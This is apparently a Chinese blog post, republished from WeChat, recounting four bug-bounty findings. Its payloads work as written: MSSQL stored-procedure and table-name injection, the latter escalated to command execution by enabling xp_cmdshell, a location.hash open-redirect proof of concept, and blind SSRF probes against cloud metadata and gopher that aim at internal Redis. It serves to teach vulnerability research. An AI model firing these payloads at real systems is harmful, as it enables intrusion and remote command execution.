四个有趣的真实漏洞挖掘案例分享

admin 2023年5月8日00:39:44评论26 views字数 4394阅读14分38秒阅读模式

0x00 前言

好久没写真实漏洞挖掘案例了,今天写一笔。直接发漏洞细节很生硬,大家也学不到什么,只有带入感情,留下笔者的想法,才能产生共鸣,真正的帮助到别人。


四个漏洞描述顺序:

    存储过程sql注入;table头注入;通用的url跳转;盲ssrf漏洞;


0x01 存储过程sql注入

首先我先介绍我近期挖到的第一个漏洞:sql server exec存储过程处 sql injection。


这是我在挖国外遇到的一个网站,遇到的一个真实案例,一个后台的某个功能点,存在存储过程sql注入,使用单引号测试,发现他报错了。

ERROR:[Microsoft][ODBC SQL Server Driver][SQL Server]Procedure or function 'proc_*' expects parameter '@linked', which was not supplied.


这个报错很特别,和我平时看到的sql server报错信息不一样,我第一时间去谷歌搜索了下这个报错信息,很快就找到了一篇文章。

https://stackoverflow.com/questions/19703653/stored-procedure-or-function-expects-parameter-which-is-not-supplied


stackoverflow查看网站报错信息真的很方便,很方便帮我们判断使用了哪些技术.  虽然我英语很差,但是谷歌浏览器自带的翻译功能就够了,很快我就知道这是个sql server的存储过程报错。


话说回来,不通过谷歌搜索报错语句,通过单引号报错,其实就可能猜出来个大概。


我还是很常规的测试,因为报错了,所以我企图用最简单的方法让其报错出user/database等,尝试poc:

'and 1>user and'1'='1'and user<0 and '1'='1


发现没有出user,甚至仍然报错,其实这是正常的。后续测试发现,只要我在后面添加内容,他就会一直报错...,他好像不允许添加过多的注入payload 

四个有趣的真实漏洞挖掘案例分享

我开始从报错注入,转为布尔类型注入测试:

'and iif(user like '%25',1,1) and'1'='1


类似这样的payload,结局是泪目的,语句又是各种报错。我发现不能再这样搞了,这样搞的话思路肯定不对。


先从理解sql报错信息开始,理解存储过程,sql server的存储过程的语法是这样的:

exec 任意语句 / exec 'sql语句'


它本身其实不需要任何单引号的闭合,因为它不是字符串类型注入,重新调整测试,测试就是学习的过程,再次上payload:

13 if(substring(db_name(),1,1)='*')waitfor delay'0:0:3'


一顿fuzz,延时3s:

  四个有趣的真实漏洞挖掘案例分享

 

说明我的这个poc没有问题,一开始踩了一个坑,一个认知问题,惯性思维导致的错误。

mysql下的ifif(条件,结果1,结果2)sql server下的ifif(条件) 结果 else (结果)


这里误以为sql server的if也是和mysql的if使用一样,其实完全不一样,sql server等同mysql if函数的是iif函数.


我们知道,sql server报错有个很爽的技巧就是基于类型错误:int+varchar,尝试报错出db_name()。


报错注入poc:

13 if(1=0/db_name())waitfor delay'0:0:1'

 

四个有趣的真实漏洞挖掘案例分享

 

至此,这个注入算搞定了,我可以提交了。


0x02 table头注入

第二个分享的案例仍然是注入,sql server table头注入,有意思的地方在于rce处,利用一个sql server特性我rce了它。

某天我挖一个站,发现一个功能点存在注入,是那种很常规的注入,通过查看js,我发现了一个接口:

https://xxx.com/1.aspx?plugin=*&action=*&navigationid=1&table={注入点}

我看到了table参数,我觉得这可能是sql server table头注入,这是经常做安全测试的一种直觉,我直接输入了sysobject,他给我大量返回了信息:

  四个有趣的真实漏洞挖掘案例分享

 

我很惊喜,那么它代码的实现很大可能是:
select * from {可控点}

那么我可以做的事情变得很多很多,这个注入利用成本很低,我觉得他就是个任意sql语句执行漏洞。

我尝试rce,为了再次确定他是表头注入,我尝试在可控点处添加where等条件语句,尝试Payload。

sysobjects where xtype='u' #查询数据库中的所有表名

  四个有趣的真实漏洞挖掘案例分享

很幸运,没任何报错,直接响应了:  四个有趣的真实漏洞挖掘案例分享

我开始尝试rce,我们都知道sql server rce的条件是需要支持堆叠,我尝试;waitfor delay '0:0:3';直接给我报错了,那么大概率可能不支持堆叠查询

不过这个注入点非常特别,是表头注入,它满足一定的条件,即使不支持堆叠,只要权限够高,我们也可以rce。

先开启xp_cmdshell扩展:

sysobjects+select+1+if+1%3d1+execute('EXEC+sp_configure+''show+advanced+options'',+1%3bRECONFIGURE%3bEXEC+sp_configure+''xp_cmdshell'',+1%3bRECONFIGURE%3b')

执行命令:

sysobjects+select+1++if+1%3d1+execute('exec+master..xp_cmdshell+"whoami"')

直接页面显示了whoami信息:

  四个有趣的真实漏洞挖掘案例分享

 

我是幸运的,很快,我就提交了漏洞给相关厂商。

因为是表头注入,所以不需要堆叠了,因为sql server的select支持 select x select x 四个有趣的真实漏洞挖掘案例分享

sql server容错率很强大 不同类型在一起,不会报错,会做自动区分:

  四个有趣的真实漏洞挖掘案例分享

 

四个有趣的真实漏洞挖掘案例分享

 

第二个漏洞分享结束,开始第三个url跳转漏洞分享。

0x03 通用的url跳转

其实有时候,运气不是总是很好,漏洞也很难挖,连续好几天,我都没挖到漏洞,我在那边胡乱看着,瞎点着。

有一个站引起了我的兴趣,他的注册接口是这样的。
https://*/sss/yyyy?returnUrl=https://*/#/xxxx/xxx

我对url参数比较敏感,通常我会测试ssrf/xss,即使他大概率不存在,我也会测试下,很显然,半自动化工具没有发现任何ssrf和xss漏洞。

我注册了一个账号,我尝试登录,它告诉我,我的账号需要审核,我尝试绕过,我也没有绕过它。

我发现我没发现漏洞了,那我就随便看看吧,我都不抓包了,右键查看源代码,发现了这么一段代码,以前我就经常做js代码审计,这段代码我不会陌生。

if(location.hash){location="https://hostname"+location.hash.substring(1);}

稍微学过一点js的也不会陌生,不过我们还是要走一遍基础的测试流程,它使用 location.hash.* 去传递参数。

这个就是锚点符,常用于站内url跳转,记录#/后面的内容,其实这里的本意是做站内url跳转用的,不过这里没在hostname结尾处加/这个字符串,导致可以任意跳转。

我们简单测试下:

  四个有趣的真实漏洞挖掘案例分享

那么如果我们想任意url跳转怎么办???

只需要让location.hash.substring(1)变成另一个我们的域名即可,构造poc如下:
http://example.com/#.dnslog.cn
他会直接跳转出信任域,实现任意页面url跳转

 四个有趣的真实漏洞挖掘案例分享

 

除了这样还可以通过 @domain 去跳转到第三方网站,更加方便!!!

他的修复方案也很简单: 

if(location.hash){location="https://hostname/"+location.hash.substring(1);}

至此第三个漏洞就分享完了。

0x04 盲ssrf漏洞

现在分享最后一个漏洞,就是盲的ssrf漏洞。前面我说过,我看到url参数,我就会尝试下ssrf/xss漏洞,这里我发现了一个图片加载功能,存在ssrf。
首先在分享ssrf实战案例之前,先分享个ssrf安全测试圣经:https://github.com/cujanovic/SSRF-Testing

github上提供的测试用例:

https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg

如果想探测是否开放gopher,又不想触发waf怎么做?

https://ssrf.localdomain.pw/img-without-body/301-gopher-{dnslog.cn}-.i.jpg

这个url地址是可以变化的,测试什么协议就变成什么协议,其他测试样本不再举例,类似的,都可以随意转换

这里尝试301跳转:

  四个有趣的真实漏洞挖掘案例分享

dnslog成功收到请求,注意User-Agent,是libwww,perl的一个请求依赖库:
GET / HTTP/1.1TE: deflate,gzip;q=0.3Connection: TE, closeHost: bt8vfrpehb5ur0ldbb4o47c9s0yqmf.burpcollaborator.netUser-Agent: ImageVacuum/2.3.10 libwww-perl/6.57
使用上面的思路,测试下敏感协议,gopher协议:

  四个有趣的真实漏洞挖掘案例分享

有反应,说明大概率是支持gopher协议的,那么它到底支持不支持呢?

通过查看github libwww代码,就可以得到答案,他支持这些协议,其中包含gopher协议。

四个有趣的真实漏洞挖掘案例分享

这样我们就可以使用gopher协议去批量fuzz探测内网redis等服务,这个点到此为止。

下面继续科普下盲的ssrf怎么探测?因为一般信息收集不全的情况下,我们没什么内网ip地址,那么我们怎么证明是盲ssrf呢?

本地ip:存在端口 vs 本地ip:大概率不存在的端口

25端口提示我图片类型不对:

四个有趣的真实漏洞挖掘案例分享

250端口,提示我连接被拒绝

四个有趣的真实漏洞挖掘案例分享

这样就可以证明这是个盲的ssrf,它可以探测内网端口开放情况,然后因为它又支持gopher等敏感协议,它可以fuzz内网redis,尝试shell等,危害将会大大升级。

至此,已经分享完了四个漏洞,通过我的所思所想,希望能给大家带来一些感悟,我该去做饭吃了。
原文于:https://www.cnblogs.com/piaomiaohongchen/p/16306747.html原文作者:飘渺红尘

四个有趣的真实漏洞挖掘案例分享 点击下方小卡片或扫描下方二维码观看更多技术文章四个有趣的真实漏洞挖掘案例分享

四个有趣的真实漏洞挖掘案例分享

师傅们点赞、转发、在看就是最大的支持

原文始发于微信公众号(猪猪谈安全):四个有趣的真实漏洞挖掘案例分享

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月8日00:39:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   四个有趣的真实漏洞挖掘案例分享https://cn-sec.com/archives/1713375.html

发表评论

匿名网友 填写信息